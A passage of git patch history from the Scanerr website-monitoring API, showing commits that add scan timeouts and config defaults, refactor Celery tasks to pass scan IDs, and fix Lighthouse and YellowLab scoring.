configs['mask_ids'] != '': - ids = configs['mask_ids'].split(',') + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') for id in ids: try: driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") @@ -312,13 +340,18 @@ def add_images(im1, im2): index = 0 last_height = -1 bottom = False + start_time = datetime.now() while not bottom: + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + # scroll single frame if index != 0: # driver.execute_script("window.scrollBy(0, window.innerHeight);") driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs['min_wait_time'])) + time.sleep(int(configs.get('min_wait_time', 10))) # get current position and compare to previous new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") @@ -330,9 +363,9 @@ def add_images(im1, im2): # waiting for network requests to resolve driver_wait( driver=driver, - interval=int(configs['interval']), - min_wait_time=int(configs['min_wait_time']), - max_wait_time=int(configs['max_wait_time']), + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), ) # get screenshot @@ -407,17 +440,17 @@ async def scan_p(self, site, configs): endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) ) - driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) page = await driver.newPage() - sizes = configs['window_size'].split(',') + sizes = configs.get('window_size', '1920,1080').split(',') is_mobile = False - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': is_mobile = True page_options = { 'waitUntil': 'networkidle0', - 'timeout': configs['max_wait_time']*1000 + 'timeout': configs.get('max_wait_time', 30)*1000 } viewport = { @@ -436,7 +469,7 @@ async def scan_p(self, site, configs): 'userAgent': userAgent } - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': await page.emulate(emulate_options) else: await page.setViewport(viewport) @@ -445,25 +478,25 @@ async def scan_p(self, site, configs): await page.goto(site.site_url, page_options) + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') - # inserting animation pausing script - try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) + # pausing videos + try: + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) # mask all listed ids - if configs['mask_ids'] is not None and configs['mask_ids'] != '': - ids = configs['mask_ids'].split(',') + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') for id in ids: try: await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") @@ -496,12 +529,17 @@ def get_active_global_masks(): index = 0 last_height = -1 bottom = False + start_time = datetime.now() while not bottom: + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + # scroll single frame if index != 0: await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs['min_wait_time'])) + time.sleep(int(configs.get('min_wait_time', 10))) # get current position and compare to previous new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") @@ -513,7 +551,7 @@ def get_active_global_masks(): # interact with and wait for page to load await page.mouse.move(0, 0) await page.mouse.move(0, 100) - time.sleep(configs['min_wait_time']) + time.sleep(configs.get('min_wait_time', 10)) # get screenshot @@ -573,17 +611,17 @@ async def _scan_p(self, site, configs): endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) ) - driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) page = await driver.newPage() - sizes = configs['window_size'].split(',') + sizes = configs.get('window_size', '1920,1080').split(',') is_mobile = False - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': is_mobile = True page_options = { 'waitUntil': 'networkidle0', - 'timeout': configs['max_wait_time']*1000 + 'timeout': configs.get('max_wait_time', 30)*1000 } viewport = { @@ -602,7 +640,7 @@ async def _scan_p(self, site, configs): 'userAgent': userAgent } - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': await page.emulate(emulate_options) else: await page.setViewport(viewport) @@ -610,23 +648,24 @@ async def _scan_p(self, site, configs): # requesting site url await page.goto(site.site_url, page_options) - # inserting animation pausing script - try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') + if configs.get('disable_animations') == True: + # inserting animation pausing script + try: + await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") + except: + print('cannot pause animations') - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) + # pausing videos + try: + videos = await page.querySelectorAll('video') + for vid in videos: + await page.evaluate('(vid) => vid.pause()', vid) + except Exception as e: + print(e) # mask all listed ids - if configs['mask_ids'] is not None and configs['mask_ids'] != '': - ids = configs['mask_ids'].split(',') + if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': + ids = configs.get('mask_ids').split(',') for id in ids: try: await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") @@ -671,12 +710,17 @@ def add_images(im1, im2): index = 0 last_height = -1 bottom = False + start_time = datetime.now() while not bottom: + # checking if maxed out time + if self.check_timeout(configs.get('timeout', 300), start_time): + break + # scroll single frame if index != 0: await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs['min_wait_time'])) + time.sleep(int(configs.get('min_wait_time', 10))) # get current position and compare to previous new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") @@ -688,7 +732,7 @@ def add_images(im1, im2): # interact with and wait for page to load await page.mouse.move(0, 0) await page.mouse.move(0, 100) - time.sleep(configs['min_wait_time']) + time.sleep(configs.get('min_wait_time', 10)) # get screenshot @@ -963,7 +1007,7 @@ def screenshot(self, site=None, url=None, configs=None, driver=None): # initialize driver if not passed as param if not driver: - driver = driver_init(window_size=configs['window_size'], device=configs['device']) + driver = driver_init(window_size=configs.get('window_size', '1920,1080'), device=configs.get('device')) # get or create site data @@ -981,9 +1025,9 @@ def screenshot(self, site=None, url=None, configs=None, driver=None): # wait for site to fully load driver_wait( driver=driver, - interval=int(configs['interval']), - min_wait_time=int(configs['min_wait_time']), - max_wait_time=int(configs['max_wait_time']), + interval=int(configs.get('interval', 5)), + min_wait_time=int(configs.get('min_wait_time', 10)), + max_wait_time=int(configs.get('max_wait_time', 30)), ) # grab screenshot @@ -1040,17 +1084,17 @@ async def screenshot_p(self, site=None, url=None, configs=None): "min_wait_time": 10 } - driver = await driver_init_p(window_size=configs['window_size'], wait_time=configs['max_wait_time']) + driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) page = await driver.newPage() - sizes = configs['window_size'].split(',') + sizes = configs.get('window_size', '1920,1080').split(',') is_mobile = False - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': is_mobile = True page_options = { 'waitUntil': 'networkidle0', - 'timeout': configs['max_wait_time']*1000 + 'timeout': configs.get('max_wait_time', 30)*1000 } viewport = { @@ -1069,7 +1113,7 @@ async def screenshot_p(self, site=None, url=None, configs=None): 'userAgent': userAgent } - if configs['device'] == 'mobile': + if configs.get('device') == 'mobile': await page.emulate(emulate_options) else: await page.setViewport(viewport) @@ -1088,7 +1132,7 @@ async def screenshot_p(self, site=None, url=None, configs=None): # interact with and wait for page to load await page.mouse.move(0, 0) await page.mouse.move(0, 100) - time.sleep(configs['min_wait_time']) + time.sleep(configs.get('min_wait_time', 10)) # get screenshot pic_id = uuid.uuid4() diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 118f7927..7e49ff51 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -34,6 +34,8 @@ def __init__( 'interval': 5, 'min_wait_time': 10, 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False } self.site = site diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 07eb72a1..3bab71f7 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -269,6 +269,8 @@ def create_test(request, delay=False): 'mask_ids': None, 'min_wait_time': 10, 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False } if pre_scan_id: @@ -593,6 +595,8 @@ def create_scan(request, delay=False): 'mask_ids': None, 'min_wait_time': 10, 'max_wait_time': 60, + 'timeout': 300, + 'disable_animations': False } # creating scan obj @@ -867,6 +871,8 @@ def create_or_update_schedule(request): 'interval': 5, 'min_wait_time': 10, 'max_wait_time': 30, + 'timeout': 300, + 'disable_animations': False } if schedule_status != None and schedule != None: From c7cc18a19c4fd98e2079bbc543fc9a3ce3f3a4b5 Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 22 Oct 2022 16:18:31 -0500 Subject: [PATCH 122/277] fixed YL& LH scoring mech --- app/api/utils/tester.py | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index a2869cf3..46d9105f 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -495,13 +495,15 @@ def run_test(self, index=None): # scores & data lighthouse_data = self.delta_lighthouse() lighthouse_avg = lighthouse_data['scores']['average_delta'] - if lighthouse_avg != None: + if lighthouse_avg != None and lighthouse_avg > -100: lighthouse_score = (100 + lighthouse_avg)/100 - + if lighthouse_avg != None and lighthouse_avg <= -100: + lighthouse_score = 0 + # weights if lighthouse_score == None: delta_lh_w = 0 - elif lighthouse_score > 0: + elif lighthouse_score > 1: delta_lh_w = 1 lighthouse_score = 1 else: @@ -514,13 +516,15 @@ def run_test(self, index=None): # scores & data yellowlab_data = self.delta_yellowlab() yellowlab_avg = yellowlab_data['scores']['average_delta'] - if yellowlab_avg != None: + if yellowlab_avg != None and yellowlab_avg > -100: yellowlab_score = (100 + yellowlab_avg)/100 - + if yellowlab_avg != None and yellowlab_avg <= -100: + yellowlab_score = 0 + # weights if yellowlab_score == None: delta_yl_w = 0 - elif yellowlab_score > 0: + elif yellowlab_score > 1: delta_yl_w = 1 yellowlab_score = 1 else: From c04703cf986f191fc5863a9a5bf3cc860c2a1545 Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 22 Oct 2022 16:18:42 -0500 Subject: [PATCH 123/277] small changes --- .gitignore | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 0d42f566..457804cc 100644 --- a/.gitignore +++ b/.gitignore @@ -18,4 +18,4 @@ app/static* Dockerfile.alpine Dockerfile.dev1 Dockerfile.dev3 -app/api/migrations/0001_initial.py +app/api/migrations/*_initial.py From c832e895edf4fe2b19adca065aae68f060ed2a73 Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 22 Oct 2022 16:19:13 -0500 Subject: [PATCH 124/277] debugging multi-threading for scans --- app/api/tasks.py | 68 ++++++++++++++++---------------------- app/api/utils/image.py | 7 ++-- app/api/utils/scanner.py | 39 ++++++++++++++-------- app/api/v1/ops/services.py | 8 ++--- app/api/v1/ops/tasks.py | 25 +++++++------- 5 files changed, 74 insertions(+), 73 deletions(-) diff --git a/app/api/tasks.py b/app/api/tasks.py index 55197a33..d3a29c2d 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -3,8 +3,13 @@ from celery.utils.log import get_task_logger from celery import shared_task from celery import Task as BaseTask -from .v1.ops.tasks import * -from .bootstrap.logger import producer_log +from .v1.ops.tasks import ( + create_site_task, create_scan_task, run_html_and_logs_task, + run_vrt_task, run_lighthouse_task, run_yellowlab_task, + create_test_task, create_report_task, delete_report_s3, + delete_site_s3, create_testcase_task, migrate_site_task, + +) from .models import Log from django.contrib.auth.models import User from .utils.driver_p import driver_test @@ -15,38 +20,21 @@ logger = get_task_logger(__name__) -class ScannerApiTask(BaseTask): - def delay( - self, - *args, - **kwargs, - ) -> Any: - """ - Producer handler. - :rtype Any: - """ - result = self.apply_async(args, kwargs) - producer_log.info("CELERY_TASK_QUEUED - ID: %s", result.id) - - return result - - - -@shared_task(base=ScannerApiTask) +@shared_task def test_pupeteer(): asyncio.run(driver_test()) logger.info('Tested pupeteer instalation') -@shared_task(base=ScannerApiTask) +@shared_task def create_site_bg(site_id, scan_id, configs=None): create_site_task(site_id, scan_id, configs) logger.info('Created scan of new site') -@shared_task(base=ScannerApiTask) +@shared_task def create_scan_bg( scan_id=None, site_id=None, @@ -70,33 +58,33 @@ def create_scan_bg( -@shared_task(base=ScannerApiTask) -def run_html_and_logs_bg(scan=None): - run_html_and_logs_task(scan) +@shared_task +def run_html_and_logs_bg(scan_id=None): + run_html_and_logs_task(scan_id) logger.info('ran html & logs component') -@shared_task(base=ScannerApiTask) -def run_vrt_bg(scan=None): - run_vrt_task(scan) +@shared_task +def run_vrt_bg(scan_id=None): + run_vrt_task(scan_id) logger.info('ran vrt component') -@shared_task(base=ScannerApiTask) -def run_lighthouse_bg(scan=None): - run_lighthouse_task(scan) +@shared_task +def run_lighthouse_bg(scan_id=None): + run_lighthouse_task(scan_id) logger.info('ran lighthouse component') -@shared_task(base=ScannerApiTask) -def run_yellowlab_bg(scan=None): - run_yellowlab_task(scan) +@shared_task +def run_yellowlab_bg(scan_id=None): + run_yellowlab_task(scan_id) logger.info('ran yellowlab component') -@shared_task(base=ScannerApiTask) +@shared_task def create_test_bg( test_id=None, site_id=None, @@ -123,25 +111,25 @@ def create_test_bg( ) logger.info('Created new test of site') -@shared_task(base=ScannerApiTask) +@shared_task def create_report_bg(site_id=None, automation_id=None): create_report_task(site_id, automation_id) logger.info('Created new report of site') -@shared_task(base=ScannerApiTask) +@shared_task def delete_site_s3_bg(site_id): delete_site_s3(site_id) logger.info('Deleted site s3 objects') -@shared_task(base=ScannerApiTask) +@shared_task def delete_report_s3_bg(report_id): delete_report_s3(report_id) logger.info('Deleted Report pdf in s3') -@shared_task(base=ScannerApiTask) +@shared_task def purge_logs(username=None): if username: user = User.objects.get(username=username) @@ -170,7 +158,7 @@ def create_testcase_bg( -@shared_task(base=ScannerApiTask) +@shared_task def migrate_site_bg( login_url, admin_url, diff --git a/app/api/utils/image.py b/app/api/utils/image.py index dbacd53d..2b357887 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -102,15 +102,16 @@ def check_timeout(self, timeout, start_time): """ Checks to see if the current time exceedes the alotted timeout. - returns -> True / False + returns -> True if timeout exceeded """ current = datetime.now() diff = current - start_time if diff.total_seconds() >= timeout: - return False - else: + print('exceeded timeout') return True + else: + return False diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 7e49ff51..17dedb79 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -284,11 +284,11 @@ def check_scan_completion(scan): finished = False if 'lighthouse' or 'full' in scan.type: - if scan.lighthouse['scores']['average'] == None and scan.lighthouse.get('failed') == None: + if scan.lighthouse.get('scores').get('average') == None and scan.lighthouse.get('failed') == None: finished = False - if 'lighthouse' or 'full' in scan.type: - if scan.yellowlab['scores']['globalScore'] == None and scan.yellowlab.get('failed') == None: + if 'yellowlab' or 'full' in scan.type: + if scan.yellowlab.get('scores').get('globalScore') == None and scan.yellowlab.get('failed') == None: finished = False if 'vrt' or 'full' in scan.type: @@ -309,13 +309,15 @@ def check_scan_completion(scan): -def _html_and_logs(scan): +def _html_and_logs(scan_id): """ Method to run the 'html' and 'logs' component of the scan allowing for multi-threading. returns -> `Scan` """ + scan = Scan.objects.get(id=scan_id) + if scan.configs['driver'] == 'selenium': driver = driver_s_init( @@ -325,10 +327,14 @@ def _html_and_logs(scan): driver.get(scan.site.site_url) if 'html' in scan.type or 'full' in scan.type: html = driver.page_source + scan = Scan.objects.get(id=scan_id) scan.html = html + scan.save() if 'logs' in scan.type or 'full' in scan.type: logs = driver.get_log('browser') + scan = Scan.objects.get(id=scan_id) scan.logs = logs + scan.save() quit_driver(driver) @@ -342,14 +348,15 @@ def _html_and_logs(scan): ) if 'html' in scan.type or 'full' in scan.type: html = driver_data['html'] + scan = Scan.objects.get(id=scan_id) scan.html = html + scan.save() if 'logs' in scan.type or 'full' in scan.type: logs = driver_data['logs'] + scan = Scan.objects.get(id=scan_id) scan.logs = logs + scan.save() - - # updating Scan object - scan.save() # checking if scan is done scan = check_scan_completion(scan) @@ -360,22 +367,24 @@ def _html_and_logs(scan): -def _vrt(scan): +def _vrt(scan_id): """ Method to run the visual regression (vrt) component of the scan allowing for multi-threading. returns -> `Scan` """ + scan = Scan.objects.get(id=scan_id) if scan.configs['driver'] == 'selenium': driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) images = Image()._scan(site=scan.site, driver=driver, configs=scan.configs) quit_driver(driver) - if configs['driver'] == 'puppeteer': + if scan.configs['driver'] == 'puppeteer': images = asyncio.run(Image()._scan_p(site=scan.site, configs=scan.configs)) # updating Scan object + scan = Scan.objects.get(id=scan_id) scan.images = images scan.save() @@ -388,18 +397,20 @@ def _vrt(scan): -def _lighthouse(scan): +def _lighthouse(scan_id): """ Method to run the lighthouse component of the scan allowing for multi-threading. returns -> `Scan` """ + scan = Scan.objects.get(id=scan_id) # running lighthouse lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() # updating Scan object + scan = Scan.objects.get(id=scan_id) scan.lighthouse = lh_data scan.save() @@ -413,18 +424,20 @@ def _lighthouse(scan): -def _yellowlab(scan): +def _yellowlab(scan_id): """ Method to run the yellowlab component of the scan allowing for multi-threading. returns -> `Scan` - """ + """ + scan = Scan.objects.get(id=scan_id) # running yellowlab - yl_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + yl_data = Yellowlab(site=scan.site, configs=scan.configs).get_data() # updating Scan object + scan = Scan.objects.get(id=scan_id) scan.yellowlab = yl_data scan.save() diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 3bab71f7..51b4db66 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -617,13 +617,13 @@ def create_scan(request, delay=False): # running scans in selenium mode if 'html' or 'logs' or 'full' in types: - run_html_and_logs_bg.delay(scan=created_scan) + run_html_and_logs_bg.delay(scan_id=created_scan.id) if 'lighthouse' or 'full' in types: - run_lighthouse_bg.delay(scan=created_scan) + run_lighthouse_bg.delay(scan_id=created_scan.id) if 'yellowlab' or 'full' in types: - run_yellowlab_bg.delay(scan=created_scan) + run_yellowlab_bg.delay(scan_id=created_scan.id) if 'vrt' or 'full' in types: - run_vrt_bg.delay(scan=created_scan) + run_vrt_bg.delay(scan_id=created_scan.id) data = { diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 53d1d237..4a84ca44 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,6 +1,5 @@ from ...models import * from ...utils.scanner import Scanner as S -from ...utils.scanner import * from ...utils.tester import Tester as T from ...utils.reporter import Reporter as R from ...utils.wordpress import Wordpress as W @@ -9,6 +8,10 @@ from ...utils.caser import Caser import boto3, asyncio from scanerr import settings +from ...utils.scanner import ( + _html_and_logs, _vrt, _lighthouse, + _yellowlab +) @@ -46,24 +49,20 @@ def create_scan_task( -def run_html_and_logs_task(scan=None): - scan = _html_and_logs(scan) +def run_html_and_logs_task(scan_id=None): + scan = _html_and_logs(scan_id) return scan -def run_vrt_task(scan=None): - scan = _vrt(scan) +def run_vrt_task(scan_id=None): + scan = _vrt(scan_id) return scan -def run_vrt_task(scan=None): - scan = _vrt(scan) +def run_lighthouse_task(scan_id=None): + scan = _lighthouse(scan_id) return scan -def run_lighthouse_task(scan=None): - scan = _lighthouse(scan) - return scan - -def run_yellowlab_task(scan=None): - scan = _yellowlab(scan) +def run_yellowlab_task(scan_id=None): + scan = _yellowlab(scan_id) return scan From 88ea841c75006373a47579db347caeb5802e190c Mon Sep 17 00:00:00 2001 From: landon Date: Sat, 22 Oct 2022 16:33:26 -0500 Subject: [PATCH 125/277] switched to default img scan methods --- app/api/utils/scanner.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 17dedb79..17619367 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -76,7 +76,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = self.driver.get_log('browser') if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -90,7 +90,7 @@ def first_scan(self): if 'logs' in self.scan.type or 'full' in self.scan.type: logs = driver_data['logs'] if 'vrt' in self.scan.type or 'full' in self.scan.type: - images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in self.scan.type or 'full' in self.scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() @@ -151,7 +151,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = self.driver.get_log('browser') if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = Image()._scan(site=self.site, driver=self.driver, configs=self.configs) + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) quit_driver(self.driver) else: driver_data = asyncio.run( @@ -165,7 +165,7 @@ def second_scan(self): if 'logs' in second_scan.type or 'full' in second_scan.type: logs = driver_data['logs'] if 'vrt' in second_scan.type or 'full' in second_scan.type: - images = asyncio.run(Image()._scan_p(site=self.site, configs=self.configs)) + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) if 'lighthouse' in second_scan.type or 'full' in second_scan.type: lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() @@ -377,11 +377,11 @@ def _vrt(scan_id): scan = Scan.objects.get(id=scan_id) if scan.configs['driver'] == 'selenium': driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) - images = Image()._scan(site=scan.site, driver=driver, configs=scan.configs) + images = Image().scan(site=scan.site, driver=driver, configs=scan.configs) quit_driver(driver) if scan.configs['driver'] == 'puppeteer': - images = asyncio.run(Image()._scan_p(site=scan.site, configs=scan.configs)) + images = asyncio.run(Image().scan_p(site=scan.site, configs=scan.configs)) # updating Scan object scan = Scan.objects.get(id=scan_id) From edd9e9ccad37a3a6c45bff7439bb7d57ec458459 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 20 Nov 2022 10:11:35 -0500 Subject: [PATCH 126/277] fixed some small bugs --- .gitignore | 2 +- app/api/utils/driver_p.py | 1 - app/api/utils/tester.py | 2 +- app/api/v1/ops/serializers.py | 8 ++++++++ 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.gitignore b/.gitignore index 457804cc..1831e2ac 100644 --- a/.gitignore +++ b/.gitignore @@ -18,4 +18,4 @@ app/static* Dockerfile.alpine Dockerfile.dev1 Dockerfile.dev3 -app/api/migrations/*_initial.py +app/api/migrations/*_*.py diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py index d3fffebf..c9ccce82 100644 --- a/app/api/utils/driver_p.py +++ b/app/api/utils/driver_p.py @@ -1,5 +1,4 @@ from pyppeteer import launch - import time, os, numpy, json, sys, datetime, asyncio diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index 46d9105f..d5dd0d4a 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -580,7 +580,7 @@ def run_test(self, index=None): self.test.images_delta = images_data self.test.score = score self.test.component_scores['html'] = (micro_diff_score * 100) - self.test.component_scores['logs'] = (logs_score * 100) + self.test.component_scores['logs'] = (num_logs_ratio * 100) self.test.component_scores['lighthouse'] = (lighthouse_score * 100) self.test.component_scores['yellowlab'] = (yellowlab_score * 100) self.test.component_scores['vrt'] = (images_score * 100) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index e60f6738..9b2db7fd 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -61,8 +61,16 @@ class Meta: class SmallScanSerializer(serializers.HyperlinkedModelSerializer): site = serializers.PrimaryKeyRelatedField(source='site.id',**kwargs) paired_scan = serializers.PrimaryKeyRelatedField(source='paired_scan.id',**kwargs) + lighthouse = serializers.SerializerMethodField() + yellowlab = serializers.SerializerMethodField() id = serializers.PrimaryKeyRelatedField(**kwargs) + def get_lighthouse(self, obj): + return {'scores': obj.lighthouse['scores']} + + def get_yellowlab(self, obj): + return {'scores': obj.yellowlab['scores']} + class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', From e2ac05f18050efd45c47210c9647c8df63af399d Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 5 Jan 2023 10:22:03 -0600 Subject: [PATCH 127/277] fixing Test error msg --- app/api/utils/scanner.py | 3 ++- app/api/v1/ops/services.py | 3 ++- app/api/v1/ops/views.py | 1 + 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 17619367..8d94bc44 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -129,7 +129,8 @@ def second_scan(self): """ if not self.scan: first_scan = Scan.objects.filter( - site=self.site + site=self.site, + time_completed__isnull=False ).order_by('-time_created').first() else: diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 51b4db66..ec916180 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -289,12 +289,13 @@ def create_test(request, delay=False): return Response(data, status=status.HTTP_404_NOT_FOUND) - if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].time_completed == None: + if not Scan.objects.filter(site=site).exists(): data = {'reason': 'Site not yet onboarded'} record_api_call(request, data, '400') return Response(data, status=status.HTTP_400_BAD_REQUEST) + # creating test object test = Test.objects.create( site=site, diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py index f6c4789a..5b02f015 100644 --- a/app/api/v1/ops/views.py +++ b/app/api/v1/ops/views.py @@ -41,6 +41,7 @@ def get(self, request, id): site = get_object_or_404(Site, pk=id) if site.user != request.user: data = {'reason': 'you cannot retrieve a Site you do not own',} + record_api_call(request, data, '401') return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) From b6d1765df394f7268bfa63cc983a62577bed215c Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 5 Jan 2023 10:25:27 -0600 Subject: [PATCH 128/277] updating copyright year --- LICENSE.md | 2 +- README.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/LICENSE.md b/LICENSE.md index ef26cad6..ea474ece 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,4 +1,4 @@ -Copyright (c) 2022 Scanerr +Copyright (c) 2023 Scanerr Scanerr Commercial Software License Terms diff --git a/README.md b/README.md index cc0fe320..b4521617 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ This is the server repo for the Scanerr API, an error detection service designed > This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information. -Copyright © Scanerr 2021 +Copyright © Scanerr 2023 ---   From c884b975c45daa42751f165e57be259bca27656a 